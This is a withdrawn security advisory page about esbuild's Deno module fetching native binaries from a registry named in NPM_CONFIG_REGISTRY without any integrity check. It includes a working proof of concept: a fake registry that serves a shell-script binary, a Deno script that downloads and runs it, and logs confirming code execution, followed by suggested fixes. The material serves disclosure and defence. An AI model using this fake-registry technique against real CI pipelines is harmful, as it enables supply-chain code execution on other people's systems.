Skip to content

GHSA-gv7w-rqvm-qjhr

Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY

High Withdrawn Jun 17, 2026 npm
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-426 Untrusted Search Path
CWE-494 Download of Code Without Integrity Check
Fix
0.28.1
Upgrade esbuild to this version or later

Description

Withdrawn Advisory

This advisory has been withdrawn because the affected package was incorrectly identified and the actual affected package is not in a supported ecosystem. This link is maintained to preserve external references.

Original Description

Summary

The esbuild Deno module (lib/deno/mod.ts) downloads native binary executables from an npm registry and writes them to disk with executable permissions (0o755) without performing any integrity verification (e.g., SHA-256 hash check). The Node.js equivalent (lib/npm/node-install.ts) includes a robust binaryIntegrityCheck() function that verifies SHA-256 hashes against hardcoded expected values from package.json, but this protection was never implemented for the Deno distribution.

When the NPM_CONFIG_REGISTRY environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.

Details

Vulnerable code path — lib/deno/mod.ts lines 62–82:

async function installFromNPM(name: string, subpath: string): Promise<string> {
  const { finalPath, finalDir } = getCachePath(name)
  try { await Deno.stat(finalPath); return finalPath } catch (e) {}

  const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"  // line 70: attacker-controlled
  const url = `${npmRegistry}/${name}/-/${name.replace("@esbuild/", "")}-${version}.tgz`     // line 71: URL uses attacker base
  const buffer = await fetch(url).then(r => r.arrayBuffer())                                  // line 72: download
  const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath)                   // line 73: extract

  await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })
  await Deno.writeFile(finalPath, executable, { mode: 0o755 })                                 // line 80: write + chmod
  return finalPath                                                                              // line 81: no hash check
}

Missing protection — The Node.js equivalent at lib/npm/node-install.ts lines 228–234:

function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {
  const hash = crypto.createHash('sha256').update(bytes).digest('hex')
  const key = `${pkg}/${subpath}`
  const expected = packageJSON['esbuild.binaryHashes'][key]
  if (!expected) throw new Error(`Missing hash for "${key}"`)
  if (hash !== expected) throw new Error(...)
}

This function is called in both the installUsingNPM() path (line 131) and the downloadDirectlyFromNPM() path (line 243), but no equivalent exists in the Deno module. Searching the entire git history confirms binaryIntegrityCheck, binaryHashes, sha256, and hash have never appeared in lib/deno/mod.ts.

Execution flow after download: The binary returned by installFromNPM() is passed to spawn() at line 291 of the same file:

const child = spawn(binPath, { args: [`--service=${version}`], ... })

Attack vector: The NPM_CONFIG_REGISTRY environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.

PoC

Prerequisites: Deno runtime, Node.js (for fake registry)

Step 1: Create a fake npm registry that serves a malicious binary:

// fake-registry.js
const http = require('http');
const zlib = require('zlib');
http.createServer((req, res) => {
  const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n';
  // ... build tar.gz with fake binary as package/bin/esbuild ...
  res.writeHead(200, {'Content-Length': gz.length});
  res.end(gz);
}).listen(19876, () => console.log('READY'));

Step 2: Run the PoC with NPM_CONFIG_REGISTRY pointing to the fake server:

// poc.ts — mimics lib/deno/mod.ts installFromNPM code path
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
const url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;
const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());
// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...
await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 });
// *** NO integrity check performed ***
const cmd = new Deno.Command("/tmp/downloaded-binary");
await cmd.output(); // RCE: executes attacker-controlled binary

Step 3: Run:

node fake-registry.js &
NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts
cat /tmp/deno-esbuild-rce-proof.txt  # Output: PWNED

Observed output in this environment:

Download URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz
Binary written to: /tmp/deno-poc/downloaded-binary
Binary content: #!/bin/sh
echo PWNED > /tmp/deno-esbuild-rce-proof.txt
echo fake-esbuild-0.28.0

Executing downloaded binary...
stdout: fake-esbuild-0.28.0

*** RCE CONFIRMED ***
Marker file content: PWNED

Build-local verification — using the actual built deno/mod.js:

The esbuild Deno module was built from source (node scripts/esbuild.js ./esbuild --deno) producing deno/mod.js. The fake registry test was then re-run using the actual module via import * as esbuild from "file:///path/to/deno/mod.js", triggering the real installFromNPM() → installFromNPM() code path:

[TEST] esbuild Deno module loaded
[TEST] esbuild version: 0.28.0

[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***
[TEST] Marker file content: VULN-CONFIRMED
[TEST] The actual built deno/mod.js downloaded and executed
[TEST] a malicious binary from the fake registry WITHOUT
[TEST] performing any SHA-256 integrity verification.

The malicious binary was cached at ~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0 with contents:

#!/bin/sh
echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt
echo "0.28.0"

Built-in Deno module (deno/mod.js) confirmed to contain NPM_CONFIG_REGISTRY usage (line 1900) and zero references to binaryIntegrityCheck, binaryHashes, sha256, or crypto.createHash.

Negative/control case — Node.js rejects the same fake binary:

Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1
Expected hash:       aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be
Hashes match: false
=> Node.js path REJECTS the fake binary (hash mismatch)
=> Deno path ACCEPTS it without any check

Impact

An attacker who can control the NPM_CONFIG_REGISTRY environment variable in a Deno project using esbuild can achieve arbitrary code execution with the privileges of the Deno process. This is particularly relevant in:

  • CI/CD pipelines where NPM_CONFIG_REGISTRY is commonly set to point to internal artifact repositories
  • Shared development environments where environment variables may be inherited from parent processes
  • Corporate networks where npm registry mirrors are configured via this environment variable

The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.

Suggested remediation

  1. Add SHA-256 integrity verification to the Deno module, mirroring the existing binaryIntegrityCheck() function from lib/npm/node-install.ts:
// In lib/deno/mod.ts, after extracting the binary:
const hashBuffer = await crypto.subtle.digest("SHA-256", executable);
const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');
const key = `${name}/${subpath}`;
const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest
if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`);
  1. Validate the NPM_CONFIG_REGISTRY URL to ensure it uses HTTPS (or at minimum warn about HTTP):
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
if (npmRegistry.startsWith("http://")) {
  console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);
}
  1. Add ESBUILD_BINARY_PATH validation in the Deno module, mirroring the isValidBinaryPath() check from lib/npm/node-platform.ts.

Regression test suggestion: Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.

Affected versions

npm

PackageVulnerableFixed in
esbuild
>= 0.17.0, < 0.28.1
0.28.1
esbuild
>= 0.17.0, < 0.28.1
0.28.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

esbuild npm → 0.28.1

npm
npm install esbuild@0.28.1
yarn
yarn add esbuild@0.28.1
pnpm
pnpm add esbuild@0.28.1

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-426: Untrusted Search Path

The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.

How to prevent it
  • Architecture and Design, Implementation: Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.
  • Implementation: When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.
  • Implementation: Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.
  • Implementation: Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.
  • Implementation: Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

CWE-494: Download of Code Without Integrity Check

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

How to prevent it
  • Implementation: Perform proper forward and reverse DNS lookups to detect DNS spoofing.
  • Architecture and Design, Operation: Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

References

Timeline

  1. Published
  2. Withdrawn
  3. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-g7r4-m6w7-qqqr
esbuild allows arbitrary file read when running the development server on Windows
Low Also affects esbuild
GHSA-67mh-4wv8-2f99
esbuild enables any website to send any requests to the development server and read the response
Medium Also affects esbuild
GHSA-6hwm-xvph-95vm
NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary
High Same weakness, CWE-426
GHSA-hxmv-c4g6-5fqc
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
High Same weakness, CWE-426
GHSA-rx78-29qr-5hq8
OpenClaw: Workspace-derived service PATH could influence trash command selection
High Same weakness, CWE-426
GHSA-wc84-j36w-pw4x
OpenClaw: Workspace .env STATE_DIRECTORY could influence bundled runtime dependency roots
High Same weakness, CWE-426
GHSA-24vr-rprv-67rf
OpenClaw: Workspace .env npm_execpath could influence bundled runtime dependency install
High Same weakness, CWE-426
GHSA-fq9j-vw4w-fr6v
OpenClaw: Workspace .env CLOUDSDK_PYTHON could influence Gmail setup gcloud execution
High Same weakness, CWE-426

Credits: dungNHVhust, sondt99

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor